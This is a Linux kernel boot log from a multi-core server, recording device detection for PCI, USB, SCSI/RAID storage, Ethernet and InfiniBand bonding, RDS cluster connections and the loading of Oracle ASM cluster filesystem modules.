PCI: Setting latency timer of device 0000:00:02.0 to 64
assign_interrupt_mode Found MSI capability
Allocate Port Service[0000:00:02.0:pcie00]
Allocate Port Service[0000:00:02.0:pcie01]
PCI: Setting latency timer of device 0000:00:03.0 to 64
assign_interrupt_mode Found MSI capability
Allocate Port Service[0000:00:03.0:pcie00]
Allocate Port Service[0000:00:03.0:pcie01]
PCI: Setting latency timer of device 0000:00:07.0 to 64
assign_interrupt_mode Found MSI capability
Allocate Port Service[0000:00:07.0:pcie00]
Allocate Port Service[0000:00:07.0:pcie01]
PCI: Setting latency timer of device 0000:00:09.0 to 64
assign_interrupt_mode Found MSI capability
Allocate Port Service[0000:00:09.0:pcie00]
Allocate Port Service[0000:00:09.0:pcie01]
pci_hotplug: PCI Hot Plug PCI Core version: 0.5
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P001Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P001Cst] [20060707]
ACPI: CPU0 (power states: C1[C1] C2[C2] C3[C3])
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P002Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P002Cst] [20060707]
ACPI: CPU1 (power states: C1[C1] C2[C2] C3[C3])
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P003Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P003Cst] [20060707]
ACPI: CPU2 (power states: C1[C1] C2[C2] C3[C3])
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P004Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P004Cst] [20060707]
ACPI: CPU3 (power states: C1[C1] C2[C2] C3[C3])
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P005Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P005Cst] [20060707]
ACPI: CPU4 (power states: C1[C1] C2[C2] C3[C3])
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P006Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P006Cst] [20060707]
ACPI: CPU5 (power states: C1[C1] C2[C2] C3[C3])
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P007Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P007Cst] [20060707]
ACPI: CPU6 (power states: C1[C1] C2[C2] C3[C3])
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P008Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P008Cst] [20060707]
ACPI: CPU7 (power states: C1[C1] C2[C2] C3[C3])
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P009Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P009Cst] [20060707]
ACPI: CPU8 (power states: C1[C1] C2[C2] C3[C3])
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P010Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P010Cst] [20060707]
ACPI: CPU9 (power states: C1[C1] C2[C2] C3[C3])
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P011Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P011Cst] [20060707]
ACPI: CPU10 (power states: C1[C1] C2[C2] C3[C3])
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P012Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P012Cst] [20060707]
ACPI: CPU11 (power states: C1[C1] C2[C2] C3[C3])
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P013Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P013Cst] [20060707]
ACPI: CPU12 (power states: C1[C1] C2[C2] C3[C3])
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P014Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P014Cst] [20060707]
ACPI: CPU13 (power states: C1[C1] C2[C2] C3[C3])
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P015Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P015Cst] [20060707]
ACPI: CPU14 (power states: C1[C1] C2[C2] C3[C3])
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P016Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P016Cst] [20060707]
ACPI: CPU15 (power states: C1[C1] C2[C2] C3[C3])
Real Time Clock Driver v1.12ac
hpet_resources: 0xfed00000 is busy
Non-volatile memory driver v1.2
Linux agpgart interface v0.101 (c) Dave Jones
Serial: 8250/16550 driver $Revision: 1.90 $ 4 ports, IRQ sharing enabled
serial8250: ttyS0 at I/O 0x3f8 (irq = 4) is a 16550A
00:0b: ttyS0 at I/O 0x3f8 (irq = 4) is a 16550A
RAMDISK driver initialized: 16 RAM disks of 16384K size 4096 blocksize
Uniform Multi-Platform E-IDE driver Revision: 7.00alpha2
ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
Probing IDE interface ide0...
Probing IDE interface ide1...
ide-floppy driver 0.99.newide
usbcore: registered new driver hiddev
usbcore: registered new driver usbhid
drivers/usb/input/hid-core.c: v2.6:USB HID core driver
PNP: No PS/2 controller found. Probing ports directly.
Failed to disable AUX port, but continuing anyway... Is this a SiS?
If AUX port is really absent please use the 'i8042.noaux' option.
serio: i8042 KBD port at 0x60,0x64 irq 1
mice: PS/2 mouse device common for all mice
md: md driver 0.90.3 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: bitmap version 4.39
TCP bic registered
Initializing IPsec netlink socket
NET: Registered protocol family 1
NET: Registered protocol family 17
ACPI: (supports S0 S5)
Freeing unused kernel memory: 200k freed
Write protecting the kernel read-only data: 483k
USB Universal Host Controller Interface driver v3.0
GSI 16 sharing vector 0xD9 and IRQ 16
ACPI: PCI Interrupt 0000:00:1a.0[A] -> GSI 16 (level, low) -> IRQ 217
PCI: Setting latency timer of device 0000:00:1a.0 to 64
uhci_hcd 0000:00:1a.0: UHCI Host Controller
uhci_hcd 0000:00:1a.0: new USB bus registered, assigned bus number 1
uhci_hcd 0000:00:1a.0: irq 217, io base 0x0000a800
usb usb1: configuration #1 chosen from 1 choice
hub 1-0:1.0: USB hub found
hub 1-0:1.0: 2 ports detected
GSI 17 sharing vector 0xE1 and IRQ 17
ACPI: PCI Interrupt 0000:00:1a.1[B] -> GSI 21 (level, low) -> IRQ 225
PCI: Setting latency timer of device 0000:00:1a.1 to 64
uhci_hcd 0000:00:1a.1: UHCI Host Controller
uhci_hcd 0000:00:1a.1: new USB bus registered, assigned bus number 2
uhci_hcd 0000:00:1a.1: irq 225, io base 0x0000a880
usb usb2: configuration #1 chosen from 1 choice
hub 2-0:1.0: USB hub found
hub 2-0:1.0: 2 ports detected
GSI 18 sharing vector 0xE9 and IRQ 18
ACPI: PCI Interrupt 0000:00:1a.2[D] -> GSI 19 (level, low) -> IRQ 233
PCI: Setting latency timer of device 0000:00:1a.2 to 64
uhci_hcd 0000:00:1a.2: UHCI Host Controller
uhci_hcd 0000:00:1a.2: new USB bus registered, assigned bus number 3
uhci_hcd 0000:00:1a.2: irq 233, io base 0x0000ac00
usb usb3: configuration #1 chosen from 1 choice
hub 3-0:1.0: USB hub found
hub 3-0:1.0: 2 ports detected
GSI 19 sharing vector 0x32 and IRQ 19
ACPI: PCI Interrupt 0000:00:1d.0[A] -> GSI 23 (level, low) -> IRQ 50
PCI: Setting latency timer of device 0000:00:1d.0 to 64
uhci_hcd 0000:00:1d.0: UHCI Host Controller
uhci_hcd 0000:00:1d.0: new USB bus registered, assigned bus number 4
uhci_hcd 0000:00:1d.0: irq 50, io base 0x0000a080
usb usb4: configuration #1 chosen from 1 choice
hub 4-0:1.0: USB hub found
hub 4-0:1.0: 2 ports detected
usb 2-1: new full speed USB device using uhci_hcd and address 2
ACPI: PCI Interrupt 0000:00:1d.1[B] -> GSI 19 (level, low) -> IRQ 233
PCI: Setting latency timer of device 0000:00:1d.1 to 64
uhci_hcd 0000:00:1d.1: UHCI Host Controller
uhci_hcd 0000:00:1d.1: new USB bus registered, assigned bus number 5
uhci_hcd 0000:00:1d.1: irq 233, io base 0x0000a400
usb usb5: configuration #1 chosen from 1 choice
hub 5-0:1.0: USB hub found
hub 5-0:1.0: 2 ports detected
GSI 20 sharing vector 0x3A and IRQ 20
ACPI: PCI Interrupt 0000:00:1d.2[C] -> GSI 18 (level, low) -> IRQ 58
PCI: Setting latency timer of device 0000:00:1d.2 to 64
uhci_hcd 0000:00:1d.2: UHCI Host Controller
uhci_hcd 0000:00:1d.2: new USB bus registered, assigned bus number 6
uhci_hcd 0000:00:1d.2: irq 58, io base 0x0000a480
usb usb6: configuration #1 chosen from 1 choice
hub 6-0:1.0: USB hub found
hub 6-0:1.0: 2 ports detected
usb 2-1: configuration #1 chosen from 1 choice
hub 2-1:1.0: USB hub found
hub 2-1:1.0: 2 ports detected
ohci_hcd: 2005 April 22 USB 1.1 'Open' Host Controller (OHCI) Driver (PCI)
ACPI: PCI Interrupt 0000:00:1a.7[C] -> GSI 18 (level, low) -> IRQ 58
PCI: Setting latency timer of device 0000:00:1a.7 to 64
ehci_hcd 0000:00:1a.7: EHCI Host Controller
ehci_hcd 0000:00:1a.7: new USB bus registered, assigned bus number 7
ehci_hcd 0000:00:1a.7: debug port 1
PCI: cache line size of 32 is not supported by device 0000:00:1a.7
ehci_hcd 0000:00:1a.7: irq 58, io mem 0xfabde000
ehci_hcd 0000:00:1a.7: USB 2.0 started, EHCI 1.00, driver 10 Dec 2004
usb usb7: configuration #1 chosen from 1 choice
hub 7-0:1.0: USB hub found
hub 7-0:1.0: 6 ports detected
usb 2-1: USB disconnect, address 2
ACPI: PCI Interrupt 0000:00:1d.7[A] -> GSI 23 (level, low) -> IRQ 50
PCI: Setting latency timer of device 0000:00:1d.7 to 64
ehci_hcd 0000:00:1d.7: EHCI Host Controller
ehci_hcd 0000:00:1d.7: new USB bus registered, assigned bus number 8
ehci_hcd 0000:00:1d.7: debug port 1
PCI: cache line size of 32 is not supported by device 0000:00:1d.7
ehci_hcd 0000:00:1d.7: irq 50, io mem 0xfabdc000
ehci_hcd 0000:00:1d.7: USB 2.0 started, EHCI 1.00, driver 10 Dec 2004
usb usb8: configuration #1 chosen from 1 choice
hub 8-0:1.0: USB hub found
hub 8-0:1.0: 6 ports detected
SCSI subsystem initialized
megasas: 00.00.04.17 Tues. Sep. 15, 11:41:51 PST 2009
megasas: 0x1000:0x0079:0x1000:0x9263: bus 13:slot 0:func 0
GSI 21 sharing vector 0x42 and IRQ 21
ACPI: PCI Interrupt 0000:0d:00.0[A] -> GSI 24 (level, low) -> IRQ 66
PCI: Setting latency timer of device 0000:0d:00.0 to 64

 gen2: instance->base_addr = faefc000<6>megasas: FW now in Ready state
megasas: max_sectors : 0x280, cmd_per_lun : 0x80
scsi0 : LSI Logic SAS based MegaRAID driver
  Vendor: HITACHI   Model: H103014SCSUN146G  Rev: A2A8
  Type:   Direct-Access                      ANSI SCSI revision: 06
  Vendor: HITACHI   Model: H103014SCSUN146G  Rev: A2A8
  Type:   Direct-Access                      ANSI SCSI revision: 06
  Vendor: HITACHI   Model: H103014SCSUN146G  Rev: A2A8
  Type:   Direct-Access                      ANSI SCSI revision: 06
  Vendor: HITACHI   Model: H103014SCSUN146G  Rev: A2A8
  Type:   Direct-Access                      ANSI SCSI revision: 06
  Vendor: LSI       Model: MR9261-8i         Rev: 2.0.
  Type:   Direct-Access                      ANSI SCSI revision: 05
SCSI device sda: 570310656 512-byte hdwr sectors (291999 MB)
sda: Write Protect is off
sda: Mode Sense: 1f 00 00 08
SCSI device sda: drive cache: write back, no read (daft)
SCSI device sda: 570310656 512-byte hdwr sectors (291999 MB)
sda: Write Protect is off
sda: Mode Sense: 1f 00 00 08
SCSI device sda: drive cache: write back, no read (daft)
 sda: sda1 sda2 sda3
sd 0:2:0:0: Attached scsi disk sda
HP CISS Driver (v 3.6.20)
libata version 3.00 loaded.
Initializing USB Mass Storage driver...
usb 7-3: new high speed USB device using ehci_hcd and address 2
usb 7-3: configuration #1 chosen from 1 choice
hub 7-3:1.0: USB hub found
hub 7-3:1.0: 2 ports detected
usb 8-3: new high speed USB device using ehci_hcd and address 2
usb 8-3: configuration #1 chosen from 1 choice
hub 8-3:1.0: USB hub found
hub 8-3:1.0: 4 ports detected
usbcore: registered new driver usb-storage
USB Mass Storage support registered.
usb 3-1: new low speed USB device using uhci_hcd and address 2
usb 3-1: configuration #1 chosen from 1 choice
input: American Megatrends Inc. Virtual Keyboard and Mouse as /class/input/input0
input: USB HID v1.10 Keyboard [American Megatrends Inc. Virtual Keyboard and Mouse] on usb-0000:00:1a.2-1
input: American Megatrends Inc. Virtual Keyboard and Mouse as /class/input/input1
input: USB HID v1.10 Mouse [American Megatrends Inc. Virtual Keyboard and Mouse] on usb-0000:00:1a.2-1
usb 5-2: new low speed USB device using uhci_hcd and address 2
usb 5-2: configuration #1 chosen from 1 choice
input: Avocent Avocent DSRIQ-USB as /class/input/input2
input: USB HID v1.10 Keyboard [Avocent Avocent DSRIQ-USB] on usb-0000:00:1d.1-2
input: Avocent Avocent DSRIQ-USB as /class/input/input3
input: USB HID v1.10 Mouse [Avocent Avocent DSRIQ-USB] on usb-0000:00:1d.1-2
EXT3-fs: INFO: recovery required on readonly filesystem.
EXT3-fs: write access will be enabled during recovery.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: recovery complete.
EXT3-fs: mounted filesystem with ordered data mode.
SELinux:  Disabled at runtime.
SELinux:  Unregistering netfilter hooks
type=1404 audit(1290102078.790:2): selinux=0 auid=4294967295 ses=4294967295
input: PC Speaker as /class/input/input4
mlx4_core: Mellanox ConnectX core driver v1.0 (April 4, 2008)
mlx4_core: Initializing 0000:19:00.0
GSI 22 sharing vector 0x4A and IRQ 22
ACPI: PCI Interrupt 0000:19:00.0[A] -> GSI 32 (level, low) -> IRQ 74
PCI: Setting latency timer of device 0000:19:00.0 to 64
Intel(R) Gigabit Ethernet Network Driver - version 1.2.45-k2ora
Copyright (c) 2008 Intel Corporation.
mlx4_core 0000:19:00.0: Only 10 MSI-X vectors available, need 17. Trying again
ahci 0000:00:1f.2: version 3.0
ACPI: PCI Interrupt 0000:00:1f.2[B] -> GSI 19 (level, low) -> IRQ 233
mlx4_ib: Mellanox ConnectX InfiniBand driver v1.0 (April 4, 2008)
ahci 0000:00:1f.2: AHCI 0001.0200 32 slots 6 ports 3 Gbps 0x3f impl SATA mode
ahci 0000:00:1f.2: flags: 64bit ncq sntf stag pm led clo pio slum part ems
PCI: Setting latency timer of device 0000:00:1f.2 to 64
scsi1 : ahci
scsi2 : ahci
scsi3 : ahci
scsi4 : ahci
scsi5 : ahci
scsi6 : ahci
ata1: SATA max UDMA/133 abar m2048@0xfabd8000 port 0xfabd8100 irq 162
ata2: SATA max UDMA/133 abar m2048@0xfabd8000 port 0xfabd8180 irq 162
ata3: SATA max UDMA/133 abar m2048@0xfabd8000 port 0xfabd8200 irq 162
ata4: SATA max UDMA/133 abar m2048@0xfabd8000 port 0xfabd8280 irq 162
ata5: SATA max UDMA/133 abar m2048@0xfabd8000 port 0xfabd8300 irq 162
ata6: SATA max UDMA/133 abar m2048@0xfabd8000 port 0xfabd8380 irq 162
ata1: SATA link down (SStatus 0 SControl 300)
ata2: SATA link down (SStatus 0 SControl 300)
ata3: SATA link down (SStatus 0 SControl 300)
ata4: SATA link down (SStatus 0 SControl 300)
ata5: SATA link down (SStatus 0 SControl 300)
ata6: SATA link down (SStatus 0 SControl 300)
shpchp: Standard Hot Plug PCI Controller Driver version: 0.4
GSI 23 sharing vector 0xAA and IRQ 23
ACPI: PCI Interrupt 0000:00:1f.3[C] -> GSI 18 (level, low) -> IRQ 58
ACPI: PCI Interrupt 0000:01:00.0[A] -> GSI 28 (level, low) -> IRQ 170
PCI: Setting latency timer of device 0000:01:00.0 to 64
igb 0000:01:00.0: Intel(R) Gigabit Ethernet Network Connection
igb 0000:01:00.0: eth0: (PCIe:2.5Gb/s:unknown) 00:21:28:6b:02:50
igb 0000:01:00.0: eth0: PBA No: 2030ff-0ff
igb 0000:01:00.0: Using MSI-X interrupts. 4 rx queue(s), 1 tx queue(s)
GSI 24 sharing vector 0xE2 and IRQ 24
ACPI: PCI Interrupt 0000:01:00.1[B] -> GSI 40 (level, low) -> IRQ 226
PCI: Setting latency timer of device 0000:01:00.1 to 64
igb 0000:01:00.1: Intel(R) Gigabit Ethernet Network Connection
igb 0000:01:00.1: eth1: (PCIe:2.5Gb/s:unknown) 00:21:28:6b:02:51
igb 0000:01:00.1: eth1: PBA No: 2030ff-0ff
igb 0000:01:00.1: Using MSI-X interrupts. 4 rx queue(s), 1 tx queue(s)
GSI 25 sharing vector 0x5B and IRQ 25
ACPI: PCI Interrupt 0000:07:00.0[A] -> GSI 29 (level, low) -> IRQ 91
PCI: Setting latency timer of device 0000:07:00.0 to 64
igb 0000:07:00.0: Intel(R) Gigabit Ethernet Network Connection
igb 0000:07:00.0: eth2: (PCIe:2.5Gb/s:unknown) 00:21:28:6b:02:52
igb 0000:07:00.0: eth2: PBA No: 2030ff-0ff
igb 0000:07:00.0: Using MSI-X interrupts. 4 rx queue(s), 1 tx queue(s)
GSI 26 sharing vector 0x93 and IRQ 26
ACPI: PCI Interrupt 0000:07:00.1[B] -> GSI 41 (level, low) -> IRQ 147
PCI: Setting latency timer of device 0000:07:00.1 to 64
sd 0:2:0:0: Attached scsi generic sg0 type 0
igb 0000:07:00.1: Intel(R) Gigabit Ethernet Network Connection
igb 0000:07:00.1: eth3: (PCIe:2.5Gb/s:unknown) 00:21:28:6b:02:53
igb 0000:07:00.1: eth3: PBA No: 2030ff-0ff
igb 0000:07:00.1: Using MSI-X interrupts. 4 rx queue(s), 1 tx queue(s)
floppy0: no floppy controllers found
lp: driver loaded but no devices found
fuse init (API version 7.8)
fuse distribution version: 2.7.4
ACPI: Power Button (FF) [PWRF]
ACPI: Power Button (CM) [PWRB]
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
device-mapper: uevent: version 1.0.3
device-mapper: ioctl: 4.11.5-ioctl (2007-12-12) initialised: dm-devel@redhat.com
device-mapper: multipath: version 1.0.5 loaded
EXT3 FS on sda1, internal journal
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sda3, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
Adding 16771852k swap on /dev/sda2.  Priority:-1 extents:1 across:16771852k
IA-32 Microcode Update Driver: v1.14a
NET: Registered protocol family 10
lo: Disabled Privacy Extensions
IPv6 over IPv4 tunneling driver
ib0: enabling connected mode will cause multicast packet drops
ib0: mtu > 2044 will cause multicast packet drops.
ib0: mtu > 2044 will cause multicast packet drops.
ib0: enabling connected mode will cause multicast packet drops
ib0: mtu > 2044 will cause multicast packet drops.
ib1: enabling connected mode will cause multicast packet drops
ib1: mtu > 2044 will cause multicast packet drops.
ib1: mtu > 2044 will cause multicast packet drops.
ib1: enabling connected mode will cause multicast packet drops
ib1: mtu > 2044 will cause multicast packet drops.
NET: Registered protocol family 28
Registered RDS/iwarp transport
Registered RDS/infiniband transport
Loading iSCSI transport class v2.0-724.
iscsi: registered transport (tcp)
Ethernet Channel Bonding Driver: v3.2.3 (December 6, 2007)
bonding: Warning: either miimon or arp_interval and arp_ip_target module parameters must be specified,
otherwise bonding will not detect link failures! see bonding.txt for details.
bonding: bond0: setting mode to active-backup (1).
bonding: bond0: Setting MII monitoring interval to 100.
bonding: bond0: Setting down delay to 5000.
bonding: bond0: Setting up delay to 5000.
ADDRCONF(NETDEV_UP): bond0: link is not ready
ib0: enabling connected mode will cause multicast packet drops
ib0: mtu > 2044 will cause multicast packet drops.
bonding: bond0: Adding slave ib0.
bonding: bond0: Warning: enslaved VLAN challenged slave ib0. Adding VLANs will be blocked as long as
ib0 is part of bond bond0
bonding: bond0: Warning: The first slave device specified does not support setting the MAC address.
Enabling the fail_over_mac option.<6>bonding: bond0: enslaving ib0 as a backup interface with a down link.
bonding: bond0: link status up for interface ib0, enabling it in 5000 ms.
ib1: enabling connected mode will cause multicast packet drops
ib1: mtu > 2044 will cause multicast packet drops.
bonding: bond0: Adding slave ib1.
bonding: bond0: Warning: enslaved VLAN challenged slave ib1. Adding VLANs will be blocked as long
as ib1 is part of bond bond0
bonding: bond0: making interface ib0 the new active one 100 ms earlier.
bonding: bond0: first active interface up!
bonding: bond0: enslaving ib1 as a backup interface with a down link.
ADDRCONF(NETDEV_CHANGE): bond0: link becomes ready
ib0: mtu > 2044 will cause multicast packet drops.
ib1: mtu > 2044 will cause multicast packet drops.
bonding: bond0: link status up for interface ib1, enabling it in 5000 ms.
RDS/IB: connected to 172.168.8.13 version 3.1
RDS/IB: connected to 172.168.8.11 version 3.1
bonding: bond1: setting mode to active-backup (1).
bonding: bond1: Setting MII monitoring interval to 100.
bonding: bond1: Setting down delay to 5000.
bonding: bond1: Setting up delay to 5000.
ADDRCONF(NETDEV_UP): bond1: link is not ready
bonding: bond1: Adding slave eth1.
bonding: bond1: enslaving eth1 as a backup interface with a down link.
igb 0000:01:00.1: NIC Link is Up 1000 Mbps Full Duplex, Flow Control: RX
bonding: bond1: link status up for interface eth1, enabling it in 5000 ms.
bonding: bond1: Adding slave eth2.
bonding: bond1: making interface eth1 the new active one 100 ms earlier.
bonding: bond1: first active interface up!
bonding: bond1: enslaving eth2 as a backup interface with a down link.
ADDRCONF(NETDEV_CHANGE): bond1: link becomes ready
igb 0000:07:00.0: NIC Link is Up 1000 Mbps Full Duplex, Flow Control: RX
bonding: bond1: link status up for interface eth2, enabling it in 5000 ms.
RDS/IB: connected to 172.168.8.20 version 3.1
RDS/IB: connected to 172.168.8.14 version 3.1
RDS/IB: connected to 172.168.8.16 version 3.1
RDS/IB: connected to 172.168.8.19 version 3.1
RDS/IB: connected to 172.168.8.15 version 3.1
RDS/IB: connected to 172.168.8.17 version 3.1
RDS/IB: connected to 172.168.8.18 version 3.1
bonding: bond0: link status definitely up for interface ib1.
ADDRCONF(NETDEV_UP): eth0: link is not ready
igb 0000:01:00.0: NIC Link is Up 1000 Mbps Full Duplex, Flow Control: RX/TX
ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready
bonding: bond1: link status definitely up for interface eth2.
ipmi message handler version 39.1
IPMI System Interface driver.
ipmi_si: Trying SMBIOS-specified kcs state machine at i/o address 0xca2, slave address 0x0, irq 0
ipmi: Found new BMC (man_id: 0x00002a,  prod_id: 0x4701, dev_id: 0x20)
 IPMI kcs interface initialized
ipmi_si: Trying ACPI-specified kcs state machine at i/o address 0xca2, slave address 0x0, irq 0
ipmi_si: duplicate interface
ipmi device interface
bond0: no IPv6 routers present
IPMI Watchdog: driver initialized
Copyright (C) 2004 MontaVista Software - IPMI Powerdown via sys_reboot.
IPMI poweroff: ATCA Detect mfg 0x2A prod 0x4701
IPMI poweroff: Found a chassis style poweroff function
bond1: no IPv6 routers present
megasas: fasync_helper was not called first
eth0: no IPv6 routers present
oracleoks: module license 'Proprietary' taints kernel.
[Oracle OKS] mallocing log buffer, size=10485760
[Oracle OKS] log buffer = 0xffffc2001013e000
[Oracle OKS] Module load succeeded. Build information: (LOW DEBUG)- (USM_11.2.0.1.0_LINUX.X64_090715.1)
, Built on Aug  2 2009
oracleadvm: no version for "KsRwLockReadTry" found: kernel tainted.
[Oracle ADVM] Module load succeeded. Build information:  (LOW DEBUG) - USM_11.2.0.1.0_LINUX.X64_090715.1
Built on Aug  2 2009
[Oracle ACFS] Module load succeeded. Build information:  (LOW DEBUG), (USM_11.2.0.1.0_LINUX.X64_090715.1),
Built on Aug  2 2009
RDS/IB: connected to 172.168.8.10 version 3.1
RDS/IB: connected to 172.168.8.10 version 3.1
[Oracle OKS] Cluster Membership change - Current  incarn 0x6
[Oracle OKS] Nodes in cluster:
[Oracle OKS]   Node 1 (IP 0xaca8080a) Node 2 (IP 0xaca8080b)
[Oracle OKS] Node count 2
[Oracle ADVM] The attempt to open/mount volume RECO-ASM_FILE failed.
[Oracle ADVM] The attempt to open/mount volume RECO-ASM_FILE failed.
[Oracle ADVM] The attempt to open/mount volume RECO-ASM_FILE failed.
process `sysctl' is using deprecated sysctl (syscall) net.ipv6.neigh.eth0.base_reachable_time; Use net.ipv6.neigh.eth0.base_reachable_time_ms instead.
process `cp' is using deprecated sysctl (syscall) net.ipv6.neigh.eth0.base_reachable_time; Use net.ipv6.neigh.eth0.base_reachable_time_ms instead.
usb 8-3.1: new high speed USB device using ehci_hcd and address 4
usb 8-3.1: configuration #1 chosen from 1 choice
scsi7 : SCSI emulation for USB Mass Storage devices
usb-storage: device found at 4
usb-storage: waiting for device to settle before scanning
usb 8-3.1: USB disconnect, address 4
usb 8-3.1: new high speed USB device using ehci_hcd and address 5
usb 8-3.1: configuration #1 chosen from 1 choice
scsi8 : SCSI emulation for USB Mass Storage devices
usb-storage: device found at 5
usb-storage: waiting for device to settle before scanning
usb 8-3.1: USB disconnect, address 5
usb 8-3.1: new high speed USB device using ehci_hcd and address 6
usb 8-3.1: device not accepting address 6, error -71
usb 8-3.1: new high speed USB device using ehci_hcd and address 8
usb 8-3.1: configuration #1 chosen from 1 choice
scsi9 : SCSI emulation for USB Mass Storage devices
usb-storage: device found at 8
usb-storage: waiting for device to settle before scanning
usb 8-3.1: USB disconnect, address 8
usb 8-3.1: new high speed USB device using ehci_hcd and address 9
usb 8-3.1: configuration #1 chosen from 1 choice
scsi10 : SCSI emulation for USB Mass Storage devices
usb-storage: device found at 9
usb-storage: waiting for device to settle before scanning
usb 8-3.1: USB disconnect, address 9
usb 8-3.1: new high speed USB device using ehci_hcd and address 10
usb 8-3.1: configuration #1 chosen from 1 choice
scsi11 : SCSI emulation for USB Mass Storage devices
usb-storage: device found at 10
usb-storage: waiting for device to settle before scanning
  Vendor: TEAC      Model: DV-28S-V          Rev: 1.0B
  Type:   CD-ROM                             ANSI SCSI revision: 00
scsi 11:0:0:0: Attached scsi generic sg1 type 5
usb-storage: device scan complete
sr0: scsi3-mmc drive: 24x/24x cd/rw xa/form2 cdda tray
Uniform CD-ROM driver Revision: 3.20
sr 11:0:0:0: Attached scsi CD-ROM sr0
usb 8-3.1: USB disconnect, address 10
scsi 11:0:0:0: rejecting I/O to dead device
sr0: Hmm, seems the drive doesn't support multisession CD's
scsi 11:0:0:0: rejecting I/O to dead device
scsi 11:0:0:0: rejecting I/O to dead device
scsi 11:0:0:0: rejecting I/O to dead device
scsi 11:0:0:0: rejecting I/O to dead device
scsi 11:0:0:0: rejecting I/O to dead device
scsi 11:0:0:0: rejecting I/O to dead device
scsi 11:0:0:0: rejecting I/O to dead device
scsi 11:0:0:0: rejecting I/O to dead device
RDS/IB: connected to 172.168.8.12 version 3.1
[Oracle OKS] Cluster Membership change - Current  incarn 0x8
[Oracle OKS] Nodes in cluster:
[Oracle OKS]   Node 1 (IP 0xaca8080a) Node 2 (IP 0xaca8080b) Node 3 (IP 0xaca8080c) [Oracle OKS]

[Oracle OKS] Node count 3
usb 7-3: USB disconnect, address 2
usb 3-1: USB disconnect, address 2
usb 7-3: new high speed USB device using ehci_hcd and address 4
usb 7-3: configuration #1 chosen from 1 choice
hub 7-3:1.0: USB hub found
hub 7-3:1.0: 2 ports detected
usb 7-3.1: new high speed USB device using ehci_hcd and address 6
usb 7-3.1: configuration #1 chosen from 1 choice
scsi12 : SCSI emulation for USB Mass Storage devices
usb-storage: device found at 6
usb-storage: waiting for device to settle before scanning
usb 7-3.2: new high speed USB device using ehci_hcd and address 7
usb 7-3.2: configuration #1 chosen from 1 choice
scsi13 : SCSI emulation for USB Mass Storage devices
usb-storage: device found at 7
usb-storage: waiting for device to settle before scanning
usb 3-1: new low speed USB device using uhci_hcd and address 3
usb 3-1: configuration #1 chosen from 1 choice
input: American Megatrends Inc. Virtual Keyboard and Mouse as /class/input/input5
input: USB HID v1.10 Keyboard [American Megatrends Inc. Virtual Keyboard and Mouse] on usb-0000:00:1a.2-1
input: American Megatrends Inc. Virtual Keyboard and Mouse as /class/input/input6
input: USB HID v1.10 Mouse [American Megatrends Inc. Virtual Keyboard and Mouse] on usb-0000:00:1a.2-1
  Vendor: AMI       Model: Virtual Floppy    Rev: 1.00
  Type:   Direct-Access                      ANSI SCSI revision: 00
  Vendor: AMI       Model: Virtual CDROM     Rev: 1.00
  Type:   CD-ROM                             ANSI SCSI revision: 00
sr0: scsi-1 drive
sr 13:0:0:0: Attached scsi CD-ROM sr0
sr 13:0:0:0: Attached scsi generic sg1 type 5
usb-storage: device scan complete
sd 12:0:0:0: Attached scsi removable disk sdb
sd 12:0:0:0: Attached scsi generic sg2 type 0
usb-storage: device scan complete
usb 7-3.1: USB disconnect, address 6
usb 7-3.2: USB disconnect, address 7
usb 3-1: USB disconnect, address 3
